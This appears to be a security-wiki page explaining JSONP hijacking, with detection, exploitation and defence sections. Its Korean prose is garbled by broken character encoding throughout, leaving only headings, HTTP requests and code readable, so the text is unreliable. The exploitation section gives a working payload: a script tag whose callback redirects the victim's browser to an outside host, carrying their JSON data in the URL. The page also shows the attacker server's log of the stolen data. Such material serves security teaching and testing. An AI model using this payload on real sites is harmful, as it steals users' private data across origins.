๐ Introduction
JSONP Hijacking์ ๋ฏผ๊ฐ ์ ๋ณด๋ฅผ ์ฒ๋ฆฌํ๋ ํ์ด์ง๊ฐ JSONP๋ฅผ ์ง์ํ๋ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๊ฐ ์ฝ๊ฒ ์ ๋ณด๋ฅผ ํ์ทจํ ์ ์๋ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ์๋ฏธํฉ๋๋ค.
JSONP
JSONP๋ CORS ์ ์ฑ
์ผ๋ก SOP์ ์์ธ๋ฅผ ๋๊ณ ํต์ ํ๊ธฐ ์ด๋ ค์ด ์๋น์ค์์ ํํ๋ ๋ฐฉ๋ฒ์ผ๋ก Reseponse ๋ฐ์ดํฐ ๋ด callback์ผ๋ก ์ฌ์ฉํ ํจ์๋ฅผ ๋ฏธ๋ฆฌ ๋ช
์ํ์ฌ <script src=''>
๋ก ๋ฐ์ดํฐ๋ฅผ ์ฝ์ ์ ์๋๋ก ์ง์ํ๋ ๋ฐฉ๋ฒ์
๋๋ค.
Request
GET /user/info?callback=func1 HTTP/1.1
Response
func1({"data":"this_is_user_info_data"})
๐ก Offensive techniques
Detect
jsonp๋ฅผ ๋ช ์์ ์ผ๋ก ์ฌ์ฉํ๊ณ ์๋ ํ์ด์ง๋ ๋ฐ๋ก ์๋ณ์ด ๊ฐ๋ฅํ๋ฉฐ, ์ผ๋ฐ ํ์ด์ง์์๋ ์๋น์ค ์ฝ๋๋ ์ค์ ์ ๋ฐ๋ผ์ callback, jsonp ๋ฑ์ function์ด response์ ๋ฐ์๋ ์ ์์ต๋๋ค.
[ Request ]
GET /user/info?jsonp=check HTTP/1.1
[ Response ]
HTTP/1.1 200 OK
check{
"data":"data"
}
์ด๋ฌํ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๊ฐ response ์ฝ๋๋ฅผ ์ ์ดํ ์ ์์ด์ ๋ณธ์ธ์ด callback ๋ฐ์ ํจ์๋ฅผ ๋ง๋ค๊ณ ์ ๋ณด๋ฅผ ๋ฆฌํด๋ฐ์ ์ ์์ต๋๋ค.
[ Request ]
GET /user/info?jsonp=check= HTTP/1.1
[ Reponse ]
HTTP/1.1 200 OK
check={
"data":"data"
}
// ๊ณต๊ฒฉ์์ callback ํ์ด์ง
console.log(JSON.stringify(check))
Exploitation
๋ณดํต JSONP ํ์ด์ง๋ JSON ํฌ๋งท์ Reseponse๋ฅผ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ JSON.stringify()
ํจ์๋ ๋ฐ์ดํฐ๋ฅผ ํ์ทจํ๊ธฐ ์ํ ์์ฃผ ์ข์ ํจ์๊ฐ ๋ฉ๋๋ค. JSON.stringify()
๋ JSON ๋ฐ์ดํฐ๋ฅผ String์ผ๋ก ๋ณํํ๋ ํจ์์ธ๋ฐ, ์ด๋ฅผ ์ด์ฉํด์ Response์ JSON ๋ฐ์ดํฐ ์ ๋ฌธ์ ํ์ฑํ์ง ์๊ณ ๋ฐ๋ก ์ป์ด์ฌ ์ ์์ต๋๋ค.
<script src="target.domain.com/getData?callback=document.location.href='https://www.hahwul.com?'+JSON.stringify"></script>
document.location.href='https://www.hahwul.com?'+JSON.stringify({"name":"data~~"})
Attacker Server
GET /?{\"name\":\"data~~~~\"}
Host: www.hahwul.com
๐ก Defensive techniques
๊ธฐ๋ณธ์ ์ผ๋ก JSONP ์์ฒด๊ฐ ์์ ํ ๊ตฌ์กฐ๋ ์๋๋ผ์ ๊ฐ๊ธ์ SOP๋ฅผ ์ค์ํ ์ ์๋๋ก CORS ์ค์ ์ ํตํด ํต์ ํด์ผํฉ๋๋ค. ๋ค๋ง ์๋น์ค ํน์ฑ ์ JSONP๋ฅผ ์ฌ์ฉํด์ผํ๋ ๊ฒฝ์ฐ ๊ฐ๊ธ์ ์ค์ํ ์ ๋ณด๋ฅผ ์ต๋ํ ๋ค๋ฃจ์ง ์๋ ๊ฒ์ด ์ข์ผ๋ฉฐ, Referer ํค๋ ๋ฑ์ผ๋ก ์์ฒญ์ด ๋ฐ์ํ ๊ตฌ๊ฐ์ ๊ฒ์ฆํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
(๋ฌผ๋ก Referer ๊ฒ์ฆํ ๊บผ๋ฉด CORS๋ก ๊ตฌํํด์ SOP๋ฅผ ์ค์ํ๋๊ฒ ๋ ์ข์ฃ )
๐ References
- https://www.hahwul.com/2019/07/28/json-hijacking-with-script-src/